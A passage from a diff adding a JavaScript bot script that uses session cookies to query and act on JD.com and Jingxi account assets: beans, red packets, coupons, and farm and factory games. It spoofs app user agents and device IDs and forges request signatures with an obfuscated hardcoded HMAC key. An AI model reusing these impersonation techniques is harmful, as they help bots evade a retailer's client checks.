+ data = JSON.parse(data.slice(23, -13)); + if (data.ret === 0) { + data['expirejingdou'].map(item => { + if(item['expireamount']!=0){ + strGuoqi+=`【${timeFormat(item['time'] * 1000)}】过期${item['expireamount']}豆\n`; + if (decExBean==0) + decExBean=item['expireamount']; + } + }) + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function exchangejxbeans(o) { + return new Promise(async resolve => { + var UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + var JXUA = `jdpingou;iPhone;4.13.0;14.4.2;${UUID};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + const options = { + "url": `https://m.jingxi.com/deal/masset/jd2xd?use=${o}&canpintuan=&setdefcoupon=0&r=${Math.random()}&sceneval=2`, + "headers": { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Cookie": cookie, + "Connection": "keep-alive", + "User-Agent": JXUA, + "Accept-Language": "zh-cn", + "Referer": "https://m.jingxi.com/deal/confirmorder/main", + "Accept-Encoding": "gzip, deflate, br", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(err); + } else { + data = JSON.parse(data); + if (data && data.data && JSON.stringify(data.data) === '{}') { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data || {}); + } + }) + }) +} +function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { + return x.replace(/[xy]/g, function (x) { + var r = 16 * Math.random() | 0, + n = "x" == x ? r : 3 & r | 8; + return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), + uuid + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`redPacket API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=1&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + }, + timeout: 10000 + } + $.get(options, async(err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = ''; + let couponId = ''; + // 删除可使用且非超市、生鲜、京贴; + let useable = data.coupon.useable; + $.todayEndTime = new Date(new Date(new Date().getTime()).setHours(23, 59, 59, 999)).getTime(); + $.tomorrowEndTime = new Date(new Date(new Date().getTime() + 24 * 60 * 60 * 1000).setHours(23, 59, 59, 999)).getTime(); + $.platFormInfo=""; + for (let i = 0; i < useable.length; i++) { + //console.log(useable[i]); + if (useable[i].limitStr.indexOf('全品类') > -1) { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].quota < 20 && useable[i].coupontype === 1) { + //$.couponEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.couponName = useable[i].limitStr; + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【全品类券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + } + if (useable[i].couponTitle.indexOf('运费券') > -1 && useable[i].limitStr.indexOf('自营商品运费') > -1) { + if (!$.YunFeiTitle) { + $.YunFeiTitle = useable[i].couponTitle; + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if ($.YunFeiTitle == useable[i].couponTitle) { + $.YunFeiQuanEndTime = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan += 1; + } else { + if (!$.YunFeiTitle2) + $.YunFeiTitle2 = useable[i].couponTitle; + + if ($.YunFeiTitle2 == useable[i].couponTitle) { + $.YunFeiQuanEndTime2 = new Date(parseInt(useable[i].endTime)).Format('yyyy-MM-dd'); + $.YunFeiQuan2 += 1; + } + } + + } + + } + if (useable[i].couponTitle.indexOf('极速版APP活动') > -1 && useable[i].limitStr=='仅可购买活动商品') { + $.beginTime = useable[i].beginTime; + if ($.beginTime < new Date().getTime() && useable[i].coupontype === 1) { + if (useable[i].platFormInfo) + $.platFormInfo = useable[i].platFormInfo; + var decquota=parseFloat(useable[i].quota).toFixed(2); + var decdisc= parseFloat(useable[i].discount).toFixed(2); + + $.message += `【极速版券】满${decquota}减${decdisc}元`; + + if (useable[i].endTime < $.todayEndTime) { + $.message += `(今日过期,${$.platFormInfo})\n`; + } else if (useable[i].endTime < $.tomorrowEndTime) { + $.message += `(明日将过期,${$.platFormInfo})\n`; + } else { + $.message += `(${$.platFormInfo})\n`; + } + + } + + } + //8是支付券, 7是白条券 + if (useable[i].couponStyle == 7 || useable[i].couponStyle == 8) { + $.beginTime = useable[i].beginTime; + if ($.beginTime > new Date().getTime() || useable[i].quota > 50 || useable[i].coupontype != 1) { + continue; + } + + if (useable[i].couponStyle == 8) { + $.couponType = "支付立减"; + }else{ + $.couponType = "白条优惠"; + } + if(useable[i].discount { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +function getMs() { + if (!EnableJdMs) + return; + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`getMs API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + //console.log("Debug :" + JSON.stringify(data)); + data = JSON.parse(data); + if (data.result.assignment.assignmentPoints) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + } +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function getjdfruitinfo() { + if (EnableJdFruit) { + llgeterror = false; + + await jdfruitRequest('taskInitForFarm', { + "version": 14, + "channel": 1, + "babelChannel": "120" + }); + + await getjdfruit(); + if (llgeterror) { + console.log(`东东农场API查询失败,等待10秒后再次尝试...`) + await $.wait(10 * 1000); + await getjdfruit(); + } + if (llgeterror) { + console.log(`东东农场API查询失败,有空重启路由器换个IP吧.`) + } + + } + return; +} + +async function GetJxBeaninfo() { + await GetJxBean(), + await jxbean(); + return; +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000 + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + if(!llgeterror){ + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + } + llgeterror = true; + } else { + llgeterror = false; + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + llPetError=true; + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout: 10000 + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + if (!EnableJdSpeed) + return; + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`cash API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.goldBalance) + $.JDtotalcash = data.data.goldBalance; + else + console.log(`领现金查询失败,服务器没有返回具体值.`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + }, + timeout: 10000 + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) { + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`JxmcGetRequest API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +async function getJxFactory() { + if (!EnableJxGC) + return; + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetCommodityDetails API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + if (!EnableJDGC) + return; + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000 + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + if (!EnableJoyPark) + return; + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 